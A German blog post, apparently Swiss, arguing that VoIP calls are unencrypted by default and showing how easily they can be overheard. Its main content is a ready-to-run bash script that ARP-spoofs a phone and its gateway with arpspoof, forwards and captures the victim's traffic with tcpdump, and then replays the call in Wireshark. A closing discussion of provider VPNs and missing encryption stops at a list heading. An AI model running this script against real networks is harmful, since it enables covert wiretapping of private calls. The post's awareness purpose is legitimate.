Die IP-Telefonie - Voice over IP (VoIP) birgt aufgrund fehlender Verschlüsselung datenschutzrechtliche Risiken. Mit der zunehmenden Verbreitung dieser Technologie, insbesondere durch die Umstellung von ISDN auf IP-Telefonie, rückt auch ihre Sicherheit verstärkt in den Fokus. Im Folgenden zeige ich, wie einfach es ist, ein Telefonat mitzuhören.
Das folgende Script protokolliert den gesamten IP-Verkehr zwischen Telefone (Hardphones) oder Computer mit VoIP-Software (Softphones) und dem Internet-Router.
Danach werden die mitgeschnittenen Datenpakete mit einem Decoder wieder zusammengesetzt z.B. mit einem frei verfügbaren Netzwerk-Sniffer (z.B Wireshark) und der Anruf kann erneut abgespielt werden.
Im Script nutzten wir dafür einen simplen ARP-Spoofing-Redirect (arpspoof - aus dem Packet dsniff), was bedeutet, dass die interne Netzwerkkommunikation zwischen IP-Telefon und Router mittels gefälschten ARP-Paketen über den Angreifer-PC geleitet wird.
arpspoof.sh
#!/usr/bin/bash
stamp=$(($(date +%s%N)/1000000))
if [[ $EUID -ne 0 ]]; then
echo "You must be root"
exit 1
fi
if [[ $# -ne 3 ]]; then
echo "Usage: ./arpspoof.sh eth0 {station ip adress} {gateway ip adress}"
exit 1
fi
# enable forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=1
ifconfig $1 promisc
# Spoof
arpspoof -i $1 -c own -t $2 $3 > /dev/null 2>&1 &
PID1=$!
arpspoof -i $1 -c own -t $3 $2 > /dev/null 2>&1 &
PID2=$!
# dmup traffic
tcpdump -i $1 -w captured_packets_$2_$stamp.pcap -n host $2 &
echo "press any key to stop spoofing..."
read
# Stop
kill -9 $PID1 $PID2
echo 0 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=0
ifconfig $1 -promisc
exit 0
Ausgangslage:
Telefon: 10.210.55.143
Gateway: 10.210.55.1
Starten kann man das Script dann ganz einfach:
sudo ./arpspoof.sh eth0 10.210.55.143 10.210.55.1
Nun muss die gespeicherte Datrei *.pcap
nur noch in Wireshark geöffnet werden.
Im Menü folgen: Telefonie
- VoiP Anrufe
-Zugehörige RTP Sreams auswählen
- markieren - Stream abspielen
Dies klappt nur mit Zugriff auf das interne Netzwerk. Um die VoIP-Gespräche von außerhalb mitzuschneiden, muss daher ein Zugriff auf die Kommunikation zwischen Routern und Providern bestehen. So natürlich auch nur wenn auf dem internen Router kein statisches ARP eingestellt ist, und das ist eigentlich nie eingestellt weil der administrative Aufwand viel zu gross wäre.
Es wird berichtet, dass solche externen Zugriffe zumindest bei einigen Anbietern durch spezielle VPNs, welche die VoIP-Daten über eine gesicherte parallele Verbindung übertragen, verhindert werden. Das bedingt aber das weitere Geräte zwischen dem Telefon und dem internen Netzwerk eingesetzt werden, wenn es das Telefon oder der VoiP Client selber nicht unterstützt sollte.
Durch die Sicherheitsmassnahmen (VPNs) der Anbieter wird dem unbedarften Gelegenheitshacker auf jeden Fall ein Strich durch die Rechnung gemacht. Nichts desto trotz bleibt VoIP standardmäßig unverschlüsselt. Daher bleibt, wie oben beschrieben, der Zugriff auf den Übertragungskanal der VoIP-Daten auch der eigentliche Knackpunkt. Egal ob im internen oder externen Netzwerk: Wer Zugang zum Datenstrom hat, kann auch das VoIP-Gespräch mithören.
Die Gründe, warum viele VoIP-Anbieter in der Schweiz keine Verschlüsselung anbieten, können vielfältig sein:
Ich habe bei einer Vielzahl von Anbietern in der Schweiz nachgefragt und in den meisten Fällen keine oder nur unzureichende Informationen über die Verschlüsselung ihrer VoIP-Produkte erhalten.
Es wäre Bashing, wenn ich die teils unqualifizierten Antworten der einzelnen Anbieter hier auflisten würde. Dennoch lassen sich die möglichen Gründe in etwa wie folgt zusammenfassen: